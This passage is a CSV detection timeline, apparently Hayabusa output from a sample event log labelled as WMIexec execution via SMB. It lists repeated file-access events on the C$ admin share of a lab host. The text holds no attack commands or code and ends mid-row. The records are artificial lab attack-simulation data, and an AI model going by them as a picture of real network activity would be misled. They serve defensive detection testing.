+09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data.Linq : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data.Linq\afe9ad217242ffe7adeeebf7417a0e56 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data.Services : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.506 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data.Services\ee663803638dd6a1e68078d00330c716 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.506 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data.SqlXml : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.506 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data.SqlXml\a686774445eff8eba0a781106f24b040 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.506 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data14bed3a9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.537 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data14bed3a9#\6255822d609f7753b8b77a030c397503 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.537 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data7706cdc8# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.537 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data7706cdc8#\730ce0d11e99c329a9ab7bd75787f1bf : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.537 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data86569bbf# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.553 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data86569bbf#\3d5b722235db7e8a8c7d1344c7221c33 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.553 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data16016462# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.553 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data16016462#\003de8140f5201b90706bed8c0b34d9a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.553 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Datab086ae17# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.553 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Datab086ae17#\8b98eff35de01ce97f419f50f85f6123 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.553 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Deployment : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.553 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Deployment\53494598e1b6d05a1c7e3020cc4e9106 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.569 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Design : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.569 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Design\52a567b78cdfcd6f0926ba88bd575776 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.569 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Device : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.569 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Device\7270490235668fa0578aec716a28ce87 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.569 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Dire5d62f0a2# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.569 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Dire5d62f0a2#\54c0c8fb72275b54709f09380c489b31 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.569 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Dire573b08f5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.584 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Dire573b08f5#\8f83846bacd706e939a5ed0f8b5e3a25 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.584 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Dired13b18a9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.584 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Dired13b18a9#\8f81b927dcc93ba9ce82d9b8a45d3ee6 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.584 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Draw0a54d252# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.584 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Draw0a54d252#\37cc106c66bc77ec23840bde30a2b4ad : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.584 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.600 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\ddb52221ad0200b7c2e0a308e47d5c7c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.600 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Dynamic : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.600 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Dynamic\93aa8a60d293a05752aca14646afe6d2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.600 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Ente96d83b35# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.600 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Ente96d83b35#\65b4d38e24dfdd935b19ba1de243c244 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.600 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Iden1fe87377# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.616 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Iden1fe87377#\20e180f5a613fa6fc6d2734676e45df9 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.631 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Idena7b556ff# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.631 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Idena7b556ff#\c44a74a8e4b895c50ca0a52e97d6428a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.631 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.IdentityModel : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.631 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.IdentityModel\15e0783372e02bd437cab8ac76420124 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.631 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.IO.Cb3b124c8# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.631 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.IO.Cb3b124c8#\f7a43000e540605d6e0e171da4c2f1d4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.647 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.IO.Cf61e09c5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.647 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.IO.Cf61e09c5#\d72f9f8f53d2cae7691f333739a06f37 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.647 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.IO.Log : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.647 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.IO.Log\dbe5b3f92de7a1dc3900640c1907d600 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.647 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Manaa57fc8cc# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.647 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Manaa57fc8cc#\4c22f9b9fda7e935d191dafdc77d9b1f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.647 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Manaf08ebffb# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.647 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Manaf08ebffb#\f16e228634f247a35562db6ee33649f3 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.647 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Management : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.647 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Management\d1e6b39e15536aaa5fb9b1cacf8b18aa : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Messaging : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Messaging\0a331cd9fc9df7d44e898baf51e9e09e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Net : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Net\61ed18221f09c6ff1b6071ff5a269d08 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Net.22cc68a8# : IP Address: 